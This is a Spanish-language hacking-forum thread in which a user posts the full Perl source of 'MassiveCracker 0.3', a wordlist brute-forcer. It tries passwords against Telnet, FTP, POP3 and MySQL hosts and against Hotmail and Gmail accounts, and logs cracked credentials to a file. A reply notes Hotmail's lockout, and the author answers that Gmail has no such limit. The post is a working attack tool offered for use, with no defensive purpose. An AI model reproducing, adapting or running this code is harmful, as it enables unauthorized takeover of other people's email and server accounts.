elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] MassiveCracker 0.3
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] MassiveCracker 0.3  (Leído 1,498 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] MassiveCracker 0.3
« en: 4 Febrero 2012, 20:57 pm »

Hola , aca les traigo una mejora de un antiguo cracker que hice hace tiempo.

Las opciones de crack que tiene son

 
  • Telnet
  • FTP
  • POP3
  • Mysql
  • Hotmail
  • Gmail


Ademas guarda todos los registros en un archivo de texto que el mismo programa crea.

Código
  1. #!usr/bin/perl
  2. #Massive Cracker 0.3
  3. #Coded By Doddy H
  4. #http://search.cpan.org/~jrogers/Net-Telnet-3.03/lib/Net/Telnet.pm
  5. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  6. #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
  7. #http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm
  8. #http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm
  9. #ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppd
  10.  
  11. use Net::FTP;
  12. use Net::POP3;
  13. use Net::Telnet;
  14. use DBI;
  15.  
  16. use Mail::POP3Client;
  17. use IO::Socket::SSL;
  18.  
  19. head();
  20.  
  21. print "[+] Option :  ";
  22. chomp( my $op = <stdin> );
  23.  
  24. if ( $op eq "1" ) {
  25.  
  26.    my ( $host, $user, $word ) = form1();
  27.    my @words = openwordlist($word);
  28.  
  29.    print "[+] Cracking service Telnet";
  30.  
  31.    for my $pass (@words) {
  32.        chomp $pass;
  33.  
  34.        $telnet = new Net::Telnet( Errmode => "return" );
  35.        $telnet->open($host);
  36.        if ( $telnet->login( $user, $pass ) ) {
  37.            yeah( $host, $user, $pass, "Telnet" );
  38.        }
  39.        $telnet->close;
  40.  
  41.    }
  42.  
  43.    print "\n\n[-] Password Not Found\n";
  44.  
  45. }
  46.  
  47. elsif ( $op eq "2" ) {
  48.  
  49.    my ( $host, $user, $word ) = form1();
  50.    my @words = openwordlist($word);
  51.  
  52.    print "[+] Cracking service FTP";
  53.  
  54.    for my $pass (@words) {
  55.        chomp $pass;
  56.        $ftp = Net::FTP->new($host);
  57.        if ( $ftp->login( $user, $pass ) ) {
  58.            yeah( $host, $user, $pass, "FTP" );
  59.        }
  60.        $ftp->quit;
  61.    }
  62.  
  63.    print "\n\n[-] Password Not Found\n";
  64.  
  65. }
  66. elsif ( $op eq "3" ) {
  67.  
  68.    my ( $host, $user, $word ) = form1();
  69.    my @words = openwordlist($word);
  70.  
  71.    print "[+] Cracking service POP3";
  72.  
  73.    for my $pass (@words) {
  74.        chomp $pass;
  75.  
  76.        $pop = Net::POP3->new($host);
  77.        if ( $pop->login( $user, $pass ) ) {
  78.            yeah( $host, $user, $pass, "POP3" );
  79.        }
  80.        $pop->quit();
  81.    }
  82.  
  83.    print "\n\n[-] Password Not Found\n";
  84.  
  85. }
  86.  
  87. elsif ( $op eq "4" ) {
  88.  
  89.    my ( $host, $user, $word ) = form1();
  90.    my @words = openwordlist($word);
  91.  
  92.    print "[+] Cracking service Mysql";
  93.  
  94.    $target = "dbi:mysql::" . $host . ":3306";
  95.  
  96.    for my $pass (@words) {
  97.        chomp $pass;
  98.  
  99.        if ( my $now =
  100.            DBI->connect( $target, $user, $pass, { PrintError => 0 } ) )
  101.        {
  102.            yeah( $host, $user, $pass, "Mysql" );
  103.        }
  104.    }
  105.  
  106.    print "\n\n[-] Password Not Found\n";
  107.  
  108. }
  109.  
  110. elsif ( $op eq "5" ) {
  111.  
  112.    my ( $user, $word ) = form2();
  113.    my @words = openwordlist($word);
  114.  
  115.    print "[+] Cracking account Hotmail";
  116.  
  117.    for my $pass (@words) {
  118.        chomp $pass;
  119.  
  120.        my $so = IO::Socket::SSL->new(
  121.            PeerAddr => "pop3.live.com",
  122.            PeerPort => 995,
  123.            Proto    => "tcp"
  124.        );
  125.  
  126.        my $nave = Mail::POP3Client->new();
  127.  
  128.        $nave->User($user);
  129.        $nave->Pass($pass);
  130.        $nave->Socket($so);
  131.  
  132.        if ( $nave->Connect() ) {
  133.            yeahmail( "Hotmail", $user, $pass );
  134.        }
  135.  
  136.        $so->close();
  137.        $nave->close();
  138.  
  139.    }
  140.  
  141. }
  142.  
  143. elsif ( $op eq "6" ) {
  144.  
  145.    my ( $user, $word ) = form2();
  146.    my @words = openwordlist($word);
  147.  
  148.    print "[+] Cracking account Gmail";
  149.  
  150.    for my $pass (@words) {
  151.        chomp $pass;
  152.  
  153.        my $so = IO::Socket::SSL->new(
  154.            PeerAddr => "pop.gmail.com",
  155.            PeerPort => 995,
  156.            Proto    => "tcp"
  157.        );
  158.  
  159.        my $nave = Mail::POP3Client->new();
  160.  
  161.        $nave->User($user);
  162.        $nave->Pass($pass);
  163.        $nave->Socket($so);
  164.  
  165.        if ( $nave->Connect() ) {
  166.            yeahmail( "Gmail", $user, $pass );
  167.        }
  168.  
  169.        $so->close();
  170.        $nave->close();
  171.  
  172.    }
  173.  
  174. }
  175.  
  176. else {
  177.    print "\n\n[+] Bad Option\n";
  178. }
  179.  
  180. copyright();
  181.  
  182. sub yeah {
  183.  
  184.    print "\a\a\n\n[+] Cracked\n\n";
  185.    print "[Host] : $_[0]\n";
  186.    print "[User] : $_[1]\n";
  187.    print "[Password] : $_[2]\n";
  188.  
  189.    savefile( "cracked-logs.txt",
  190.        $_[3] . ":" . $_[0] . ":" . $_[1] . ":" . $_[2] );
  191.  
  192.    copyright();
  193.  
  194. }
  195.  
  196. sub yeahmail {
  197.  
  198.    print "\a\a\n\n[+] Cracked\n\n";
  199.    print "[Account Type] : $_[0]\n";
  200.    print "[User] : $_[1]\n";
  201.    print "[Password] : $_[2]\n";
  202.  
  203.    savefile( "cracked-logs.txt", $_[0] . ":" . $_[1] . ":" . $_[2] );
  204.  
  205.    copyright();
  206.  
  207. }
  208.  
  209. sub openwordlist {
  210.  
  211.    my $file = shift;
  212.  
  213.    print "\n[+] Opening file\n\n";
  214.  
  215.    unless ( -f $file ) {
  216.        print "\n[-] File not found\n";
  217.        copyright();
  218.    }
  219.  
  220.    print "[+] Reading file\n\n";
  221.  
  222.    open( FILE, $file );
  223.    my @words = <FILE>;
  224.    close FILE;
  225.  
  226.    print "[+] Words Found : " . int(@words) . "\n\n";
  227.  
  228.    return @words;
  229.  
  230. }
  231.  
  232. sub savefile {
  233.    open( SAVE, ">>" . $_[0] );
  234.    print SAVE $_[1] . "\n";
  235.    close SAVE;
  236. }
  237.  
  238. sub form1 {
  239.  
  240.    print "\n[+] Host : ";
  241.    chomp( my $host = <stdin> );
  242.    print "\n[+] User : ";
  243.    chomp( my $user = <stdin> );
  244.    print "\n[+] Wordlist : ";
  245.    chomp( my $word = <stdin> );
  246.  
  247.    return ( $host, $user, $word );
  248.  
  249. }
  250.  
  251. sub form2 {
  252.    print "\n[+] Email : ";
  253.    chomp( my $email = <stdin> );
  254.    print "\n[+] Wordlist : ";
  255.    chomp( my $word = <stdin> );
  256.  
  257.    return ( $email, $word );
  258. }
  259.  
  260. sub head {
  261.    print qq(
  262.  
  263. @     @                                    @@@@                 @            
  264. @     @                                   @    @                @            
  265. @@   @@                                   @                     @            
  266. @@   @@   @@@   @@   @@  @ @   @  @@@     @      @@  @@@   @@@  @  @   @@@  @@
  267. @ @ @ @      @ @  @ @  @ @ @   @ @   @    @      @      @ @   @ @ @   @   @ @
  268. @ @ @ @   @@@@  @    @   @  @ @  @@@@@    @      @   @@@@ @     @@    @@@@@ @
  269. @  @  @  @   @   @    @  @  @ @  @        @      @  @   @ @     @ @   @     @
  270. @  @  @  @   @ @  @ @  @ @   @   @   @    @    @ @  @   @ @   @ @  @  @   @ @
  271. @     @   @@@@  @@   @@  @   @    @@@      @@@@  @   @@@@  @@@  @   @  @@@  @
  272.  
  273.  
  274.  
  275.  
  276.                                              Coded By Doddy H
  277.  
  278.  
  279.  
  280.  
  281.  
  282. [++] Services
  283.  
  284. [1] : Telnet
  285. [2] : FTP
  286. [3] : POP3
  287. [4] : Mysql
  288. [5] : Hotmail
  289. [6] : Gmail
  290.  
  291.  
  292.  
  293. );
  294. }
  295.  
  296. sub copyright {
  297.    print "\n\n(C) Doddy Hackman 2012\n\n";
  298.    <stdin>;
  299.    exit(1);
  300. }
  301.  
  302. #The End ?
  303.  
  304.  


En línea

MauroMasciar


Desconectado Desconectado

Mensajes: 567



Ver Perfil
Re: [Perl] MassiveCracker 0.3
« Respuesta #1 en: 4 Febrero 2012, 22:11 pm »

  • Hotmail
Eso no debe servir, no? Ya que Hotmail bloquea la cuenta después de tantos intentos fallidos...


« Última modificación: 4 Febrero 2012, 22:57 pm por MauroMasciar » En línea

Tutto ha oceani da attraversare mentre hanno il coraggio di farlo Avventato? Ma sanno sogni di limiti

Twitter: @MauroMasciar
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
Re: [Perl] MassiveCracker 0.3
« Respuesta #2 en: 4 Febrero 2012, 22:52 pm »

Eso no debe servir, no? Ya que Hotmail bloquea la cuenta después de tantos intentos fallidos...

buena observacion , al intento 20 ya no se puede tener buenos resultados en esa opcion, pero la opcion de Gmail no tiene ese problema.
« Última modificación: 4 Febrero 2012, 22:53 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
perl
Scripting
nobo 0 3,207 Último mensaje 22 Febrero 2005, 07:49 am
por nobo
Perl
Scripting
zhynar_X 2 2,241 Último mensaje 12 Enero 2008, 04:36 am
por GroK
-=PERL=-
Scripting
D4RIO 1 5,728 Último mensaje 25 Febrero 2008, 17:27 pm
por D4RIO
MSN Perl y PHP
Scripting
isseu 0 2,685 Último mensaje 30 Diciembre 2008, 14:36 pm
por isseu
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 3,845 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines